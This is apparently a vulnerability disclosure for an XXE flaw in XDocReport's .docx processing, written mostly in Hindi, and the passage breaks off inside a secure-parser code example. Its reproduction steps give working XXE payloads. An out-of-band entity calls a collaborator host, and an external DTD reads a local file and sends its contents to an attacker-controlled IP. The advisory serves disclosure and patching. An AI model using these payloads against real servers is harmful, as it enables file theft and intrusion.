CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

Tổng quan về lỗ hổng

• XML External Entity Injection (XXE) एक ऐसी कमजोरी है जो XML प्रारूप डेटा के प्रसंस्करण में होती है, जिसमें उपयोगकर्ता किसी बाहरी फ़ाइल या सिस्टम का संदर्भ देने वाला XML डेटा सम्मिलित करता है। हमलावर इस पहचान की गई XXE कमजोरी का उपयोग अन्य सिस्टमों को स्कैन करने के लिए कर सकता है ताकि खुले सेवा पोर्ट खोज सके, गोपनीय फ़ाइलों का अनुरोध कर सके और जुड़े सिस्टमों की उन कार्यक्षमताओं तक पहुँच प्राप्त कर सके जो अन्यथा उपलब्ध नहीं होतीं। यहाँ से, हमलावर डेटा निकाल सकता है, सिस्टमों के साथ इंटरैक्ट कर सकता है और XML सम्मिलन के माध्यम से सेवा में व्यवधान उत्पन्न कर सकता है।

व्यावसायिक प्रभाव

• XXE से व्यवसाय की प्रतिष्ठा को नुकसान हो सकता है क्योंकि उपयोगकर्ता विश्वास और भरोसा खो देते हैं। यह डेटा चोरी और अप्रत्यक्ष वित्तीय हानि का कारण भी बन सकता है, जो अधिसूचना लागत, सुधार लागत और उल्लंघन किए गए PII डेटा के कारण होता है।

Severity HIGH

Description and Impact

कार्मिक प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन fr.opensagres.xdocreport.document.docx लाइब्रेरी का उपयोग करता है जिसमें XXE कमजोरी है, जब उपयोगकर्ता की .docx फ़ाइल को SAXParser के माध्यम से भेजा जाता है।

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

कारण यह है कि Apache POI का उपयोग किया जाता है।

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

अर्थात्, Apache POI बहुत गहराई में है, मॉड्यूल में:

org.apache.poi.xwpf.converter.core

गलती इसलिए होती है क्योंकि XDocReport (मॉड्यूल fr.opensagres.xdocreport.document.docx में) .docx फ़ाइलों को पढ़ने के लिए Apache POI का उपयोग करता है, और POI Java के डिफ़ॉल्ट SAXParser का उपयोग करता है, जिसमें DTD और बाहरी संस्थाओं (External Entities) को संसाधित करने की सुविधाएँ बंद नहीं की गई हैं। → इससे हमलावर को DOCTYPE में entity डालने की अनुमति मिलती है जो बाहर की ओर इशारा करती है (SYSTEM "http://...") या आंतरिक फ़ाइल (file:///...) की ओर → XXE उत्पन्न होती है।

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

• किसी भी docx फ़ाइल को अनज़िप करें

unzip ../vcspentest.docx

• docx के अंदर document.xml फ़ाइल की सामग्री संपादित करें

nano word/document.xml

निम्नलिखित outband पेलोड के साथ संपादित करें, collabrator के माध्यम से:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

• पुनः poc फ़ाइल में ज़िप करें

 zip -r ../poc.docx *

• संपादित docx फ़ाइल को xdocreport प्रसंस्करण के माध्यम से अपलोड करें

• परिणाम: collabrator पर अनुरोध भेजा गया देखा गया

• प्रभाव बढ़ाएँ: सिस्टम में फ़ाइल पढ़ें
• wsl मशीन 172.26.208.130 पर dtd फ़ाइल संग्रहीत करने वाले होस्ट पर, vcspentest.dtd फ़ाइल की सामग्री इस प्रकार है:

<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

.docx फ़ाइल में word/document.xml फ़ाइल को wsl से बाहरी dtd लोड करने के लिए निम्नलिखित सामग्री से संपादित करें:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

• फ़ाइल को .docx में ज़िप करें और सर्वर पर प्रसंस्करण के लिए अपलोड करें

• wsl मशीन पर, लक्ष्य सर्वर पर फ़ाइल D:/vcspentest.txt की सामग्री के साथ अनुरोध देखा गया

Solution

• https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

कोड में या XML पार्सर कॉन्फ़िगरेशन स्तर पर, DTD और बाहरी संस्थाओं से संबंधित सभी सुविधाओं को बंद करना आवश्यक है।

इस कोड के समान सुधार:

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);